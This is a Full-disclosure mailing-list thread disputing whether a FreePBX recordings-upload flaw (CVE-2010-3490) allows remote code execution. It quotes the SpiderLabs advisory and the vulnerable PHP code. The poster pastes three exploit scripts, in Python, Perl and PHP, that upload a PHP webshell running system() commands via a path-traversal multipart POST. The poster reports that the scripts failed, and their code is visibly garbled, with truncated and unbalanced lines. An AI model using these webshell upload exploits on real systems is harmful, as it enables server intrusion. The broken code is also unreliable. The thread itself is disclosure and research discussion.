Re: [Full-disclosure] FreePBX Unfounded RCE PoC or rather Misguided PoC maybe ?

Thankyou for your input regarding this, the issue is not a matter of
where to put files, nor of LFI, it is more of 'why is this PoC made for
non-user accounts,and can it be used remotely by attackers'.

I have written 3 or so PoC's for this and also for another bug in this, they
can b found here:
#!/usr/bin/env python
import urllib, re, os, httplib, urllib2, time, socket, getopt, sys

host = $host
port = 80

s = socket.socket('socket.AF_INET,socket.SOCK_STREAM\r\n')
'POST /admin/config.php HTTP/1.1\r\n'
'Host: ' + host + '\r\n'
'User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5;en-US;
rv: Gecko/20101221 Firefox/3.5.7\r\n'
'Accept-Language: en-us,en;q=0.5\r\n'
'Accept-Encoding: gzip,deflate\r\n'
'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n'
'Keep-Alive: 300\r\n'
'Proxy-Connection: keep-alive\r\n'
'Referer: http://' + host + '/admin/config.php\r\n'
'Cookie: ARI=cookieValue; PHPSESSID=cookieValue\r\n'
'Authorization: Basic base64auth\r\n')
'Content-Type: multipart/form-data;\r\n'
'Content-Type: multipart/form-data;\r\n'
'Content-Length: 116089\r\n'
'Content-Disposition: form-data; name="display"\r\n'
'Content-Disposition: form-data; name="action"\r\n'
'Content-Disposition: form-data; name="usersnum"\r\n'
'Content-Disposition: form-data; name="ivrfile";
'Content-Type: application/octet-stream\r\n'
'<?php echo \'<pre>\' + system($_GET[\'CMD\']) + \'</pre>\'; ?>\r\n'

Then i found it did not work , and i KNOW there is a bug affecting things
for this area of boxes... I cannot say alot more about that but i will only
say, there is bugs still affecting this, and im trying to secure one box
only for a client... so what credentials do i need?
anyhow, there is also one wich i tried in perl wich i have now made connect
to both ports 80/443 and try, this seems to be pretty accurate...yet again
it does nothing..

## freepbx 2o11 exploit ... converted to rough-perl :P
use IO::Socket;
use Crypt::SSLeay;
use Net::SSL;
use warnings;

if (@ARGV<3) {
print "Usage:\n";
print " <host> <port> <cmd>\n";
my $host=$ARGV[0];
my $port=$ARGV[1];
my $cmd=$ARGV[2];

print "[+] Connecting to host..\n";
$sock = Net::SSL->new(Proto => "tcp", PeerAddr => "$host",PeerPort =>
"$port",Timeout => 10);
if(!$sock) {
print "[-] Cant Connect..\n";
print "[+] Connected.. Sending Buffer\n";

my $temp=
"Content-Disposition: form-data; name=\"display\"\n".
"Content-Disposition: form-data; name=\"action\"\n".
"Content-Disposition: form-data; name=\"usersnum\"\n".
"Content-Disposition: form-data; name="ivrfile"; filename="zmeu.php\n".
"Content-Type: application/octet-stream\n".

my $buffer_size=length($temp);

"POST /admin/config.php HTTP/1.1\n".
"Host: $host:80\n".
"Keep-Alive: 300\n".
"Connection: keep-alive\n".
"Referer: http://$host:80/n";.
"Cookie: sid=1\; testing=1; x\n".
"Content-Type: multipart/form-data\n.

print $sock $buffer;
if ($sock) {
print "[+] Buffer sent...running command $cmd\n";
print $sock $buffer;
while ($answer=<$sock>) {
if ($answer=~/defaultStatus="(.*)";/g) {
print $1."\n";
if ($answer=~/<td><pre><b>>/g) {
if ($cmd_chk==1) {
if ($answer=~/<\/pre><\/td><\/tr>/g){
} else {
print $answer;
print results "[+] $answer\n";

although, my perl is pathetic :P so i dont know if thats right....
then i tried in php , and seems to replicate perfectly... and again, no
file-ivrrecordings.php appearing :s

echo "\n\n";
echo "| FreePBX 2o11 Remote File Upload Exploit |\r\n";
echo "| Usage: php exploit.php |\r\n";
echo "\n";
echo "[+] Code to write to the file (Ex. id;uname -a):\r\n\n";
$code = trim(fgets(STDIN));
$socket = @fsockopen($argv[1], 80, $eno, $estr, 10);
if(!$socket) {
die("[-] Couldnt connect to: ".$argv[1].". Operation aborted.");
$part1 = "POST /admin/config.php HTTP/1.1\r\n";
$part1 .= "Host: " . $argv[1] . "\r\n";
$part1 .= "User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X
$part1 .= "Accept:
$part1 .= "Accept-Language: en-us,en;q=0.5\r\n";
$part1 .= "Accept-Encoding: gzip,deflate\r\n";
$part1 .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
$part1 .= "Connection: keep-alive\r\n";
$part1 .= "Keep-Alive: 300\r\n";
$part1 .= "Proxy-Connection: keep-alive\r\n";
$part1 .= "Referer:\r\n";;
$part1 .= "Cookie: ARI=cookieValue; PHPSESSID=cookieValue\r\n";
$part1 .= "Authorization: Basic base64auth\r\n";
$part2 .= "Content-Type : multipart/form-data;\r\n";
$part2 =
$part2 .= "Content-Type : multipart/form-data;\r\n";
$part2 =
$part2 = "Content-Length: 116089\r\n";
$part2 .= "\r\n";
$part2 .=
$part2 .= "Content-Disposition: form-data; name=\"display\"\r\n";
$part2 .= "\r\n";
$part2 .= "recordings\r\n";
$part2 .=
$part2 .= "Content-Disposition: form-data; name=\"action\"\r\n";
$part2 .= "\r\n";
$part2 .= "recordings_start\r\n";
$part2 .=
$part2 .= "Content-Disposition: form-data; name=\"usersnum\"\r\n";
$part2 .= "\r\n";
$part2 .= "Content-Disposition: form-data;
$part2 .=
$part2 .= "Content-Disposition: form-data; name=\"ivrfile\";
$part2 .= "Content-Type: application/octet-stream\r\n";
$part2 .= "\r\n";
$part2 .= "<?php echo \'<pre>\' + system(\'$code\') + \'</pre>\';
$part2 .=
$part1 .= $part2;
fwrite($socket, $part1);
echo "[!] Check the upload folder (/var/www/html/xd) ..";
} else {
echo "\n\n";
echo "| Usage: php exploit.php |\r\n";
echo "\n\n";
In the php one i tried using a different folder... what is it , the server
is NOT patched.

I may have missed something, but i was able to replicate the EXACT header
shown in the spiderlabs, and on this system, nothing showed. It is hand
patched, so im beginning to wonder if somehow the owner has fluked this one
:? (thatd b great really), but there is a bug still, if not this one, then
another one wich is allowing problems for me.
i will have to read as there seems to be a few more emails on this, thankyou
for your input, i will have to test again or look at the code and makesure
it is right.. i hurried this but the python exploit code, was already made
for this PoC, i was given that.
This box is just VOiP of headaches.
Thanks for your assistance,and thankyou for those xss bugs, i may have to
test for those also, altho the problem seems more serious than that.
xd / #haxnet@Ef

On 18 September 2011 03:58, Grandma Eubanks <tborland1@xxxxxxxxx> wrote:

So, I found several FreePBX vulnerabilities about a week before SpiderLabs
came out with this new PoC (which I can't believe I missed).
Now, you can use my LFI and transport particular files to a TFTP accessible
path, assuming TFTP is enabled on that server (which it seems to be in most
of the cases).

As for the vulnerability you're exact are you being? Take a
look at the code:
$dest = "{$usersnum}-";
$destfilename = $recordings_save_path.$dest."ivrrecording.".$suffix;
move_uploaded_file($_FILES['ivrfile']['tmp_name'], $destfilename);

Alright, so the usernumber is a user definable value and there was no check
to make sure this was an actual integer. So the problem here is you're
allowed to specify a path to upload a file to. Now, let's take a look at
what you put for your path:

Content-Disposition: form-data; name="usersnum"

So, they access their uploaded file at:<>

Because ../../../../ gets passed the ivrfile and ../ gets passed the

That does not mean the file has to be uploaded in /admin, it can be
uploaded to the local file sever anywhere the ARI has appropriate privileges
to as was mentioned, this is just the PoC. I wouldn't be surprised if PoC's
come out that shouldn't be functional for a normal person as to prevent
usage without understanding.

There's no check before move_uploaded_to for the user supplied $usernum.
Now, as I haven't looked in-depth at the supplied PoC, I could be wrong.
However, given my experience with their software already, I can pretty much
believe this vuln at face value.

My main question is, are you trying this without any credentials?

On Fri, Sep 16, 2011 at 10:49 PM, xD 0x41 <secn3t@xxxxxxxxx> wrote:

Just like to point out this is total rubbish, along with the other freePBX
vuln wich was listed and, wich i stupidly wasted time writing a poc for
9wich only works if admin is enabled)
I DID make this in 3 languages, and had it tested, it ONLY ran under admin
conditions...whats so useful then??
I have got the PoC's I made, and i copied the header to a T, it is NOT one
bit different to the example header BUT I ADDED CODE to send it
properly..and to open any 'webshell'
ok lets break it down:

Trustwave's SpiderLabs Security Advisory TWSL2010-005:
FreePBX recordings interface allows remote code execution
^^^here we have code execution (does not say it requires ADMIN todo this
and someone basically at a console, pressing a button for you :P)

Published: 2010-09-23
Version: 1.0

Vendor: FreePBX (
Product: FreePBX and VOIP solutions (AsteriskNOW, TrixBox, etc) using it
Version(s) affected: 2.8.0 and below

Product Description:
FreePBX is an easy to use GUI (graphical user interface) that controls and
manages Asterisk, the world's most popular open source telephony engine
software. FreePBX has been developed and hardened by thousands of
has been downloaded over 5,000,000 times, and is utilized in an estimated
500,000 active phone systems.

Credit: Wendel G. Henrique of Trustwave's SpiderLabs

CVE: CVE-2010-3490

The configuration interface for FreePBX is prone to a remote arbitrary
execution on the system recordings menu. FreePBX doesn't handle file
in a secure manner, allowing an attacker to manipulate the file extension
and the beginning of the uploaded file name.

The piece of code below, found in page.recordings.php, illustrates part of
the recordings upload feature.
^^^^ page.recordings.php not accessible or non existent.

/* Code removed to fit better on advisory */
if (isset($_FILES['ivrfile']['tmp_name']) &&
is_uploaded_file($_FILES['ivrfile']['tmp_name'])) {
if (empty($usersnum)) {
$dest = "unnumbered-";
} else {
$dest = "{$usersnum}-";
$suffix = substr(strrchr($_FILES['ivrfile']['name'], "."), 1);
$destfilename = $recordings_save_path.$dest."ivrrecording.".$suffix;
move_uploaded_file($_FILES['ivrfile']['tmp_name'], $destfilename);
echo "<h6>"._("Successfully uploaded")."
$rname = rtrim(basename($_FILES['ivrfile']['name'], $suffix), '.');
} ?>

/* Code removed to fit better on advisory */

When a file is uploaded, a copy is saved temporarily under the /tmp/
directory, where the name of the file is composed of
user-controlled-staticname.extension, where:

"user-controlled" is $usersnum variable.
"staticname" value is -ivrrecording.
"extension" is controlled by the user.

If $usersnum variable is not defined, then a static string (unnumbered)
is used.

Finally, when the user clicks on the save button on the System
Recordings /// ohhhh ok so someone MUSt 'save' it, in PHYSICAL form, this
bit, was what i overlooked in this first adv.... wth!!!
interface, the file is saved with the original file name provided by the
user under the /var/lib/asterisk/sounds/custom/
directory. /// and bang, sorry but unable to see
this file once yet... abit useful eh ?> guess ppl dont press 'save' to an

When uploading a file, an attacker can manipulate the $usersnum variable
perform a path traversal attack and save it anyplace that the web
server /// ok this, i dont really care for, but it is abit useless when
the remote code is really the feature of this
user has access, for example the Apache's DocumentRoot. This allows an
attacker to upload malicious code to the web server and execute it under
webserver's access permissions.

The HTTP request below illustrates the upload of a phpshell.

POST /admin/config.php HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5;
en-US; rv: Gecko/20101221 Firefox/3.5.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Cookie: ARI=cookieValue; PHPSESSID=cookieValue
Authorization: Basic base64auth
Content-Type: multipart/form-data;
Content-Length: 116089

Content-Disposition: form-data; name="display"

Content-Disposition: form-data; name="action"

Content-Disposition: form-data; name="usersnum"

Content-Disposition: form-data; name="ivrfile"; filename="webshell.php"
Content-Type: application/octet-stream

/* WebShell code goes here */

/// good luck trying to find this and note, now we have to access a file at
where??? lets see....

To access the webshell in this example, an attacker would use
the following path:
// ahhh admin/ dir ?!! so thts all it was! damn, crp on me eh! ohwell...
there goes remote-code-exec eh ? this would be more like,local,nothing,no
patch was issued...

Maintainer Response:
The maintainer has released a patch to address this issue for all
versions //please provide a PoC wich works, as MY ONES dont, so,
please.. am waiting, id prefer the PoC to stay private,but i request it
please -ty
of the software 2.3 and newer.

Details of the patch can be found here:

Remediation Steps:
Install the maintainer-provided patch.

Vendor Communication Timeline:
08/13/10 - Initial contact
08/18/10 - Vulnerability disclosed
09/16/10 - Initial fix proposed by
maintainer // so we are
fixing a bug,wich can only b used as an admin... hmmm
09/22/10 - Fix reviewed, improved, and released by maintainer
09/23/10 - Advisory public release

Revision History:
1.0 Initial publication

About Trustwave:
Trustwave is the leading provider of on-demand and subscription-based
information security and payment card industry compliance management
to businesses and government entities throughout the world. For
faced with today's challenging data security and compliance environment,
Trustwave provides a unique approach with comprehensive solutions that
its flagship TrustKeeper compliance management software and other
security solutions. Trustwave has helped thousands of
from Fortune 500 businesses and large financial institutions to small and
medium-sized retailers--manage compliance and secure their network
infrastructure, data communications and critical information assets.
is headquartered in Chicago with offices throughout North America,
South America, Europe, Africa, China and Australia. For more information,

About Trustwave's SpiderLabs:
SpiderLabs is the advance security team at Trustwave responsible for
response and forensics, ethical hacking and application security tests for
Trustwave's clients. SpiderLabs has responded to hundreds of security
incidents, performed thousands of ethical hacking exercises and tested the
security of hundreds of business applications for Fortune 500
For more information visit

The information provided in this advisory is provided "as is" without
of any kind. Trustwave disclaims all warranties, either express or
including the warranties of merchantability and fitness for a particular
purpose. In no event shall Trustwave or its suppliers be liable for any
damages whatsoever including direct, indirect, incidental, consequential,
loss of business profits or special damages, even if Trustwave or its
suppliers have been advised of the possibility of such damages. Some
do not allow the exclusion or limitation of liability for consequential or
incidental damages so the foregoing limitation may not apply.

Anyhow, this was the last freePBX PoC i saw,and just am doing auditing
atm, i realised i had already tested this exploit but i just dont see what
or if i missed something here.. i did disclose my own Pocs on the seclists,
and if theyre needed, i guess they would not be to hard to find nowdays..
but this topic i need some closure on... i have to fix/advise and, i guess i
cannot do it to my own skill level would like to, or, im wrong, and it is
just my own code (hence why i mean skill level), at perl/php or whatever
codes were made, but, i did use working code for it..and it did not work....
i am sure of that, and would be happy to find the working pocs anytime...
but id prefer to see that header PoC,as i repeated this exactly, line by
line and debugged it to b sure,and it was perfect..and no go :s, it is
frustrating because VOiP is now becoming fastly, a BIG area of the
internet,and alot more people want to know why they install and register
'elastix' for ex and have 3000 plugins autop... some ppl want a pruned
version, or, fixed versions without updates, it is just getting to be a way
bigger area,and will grow...
Please try to understand that this is only research.
xd / #haxnet@Ef

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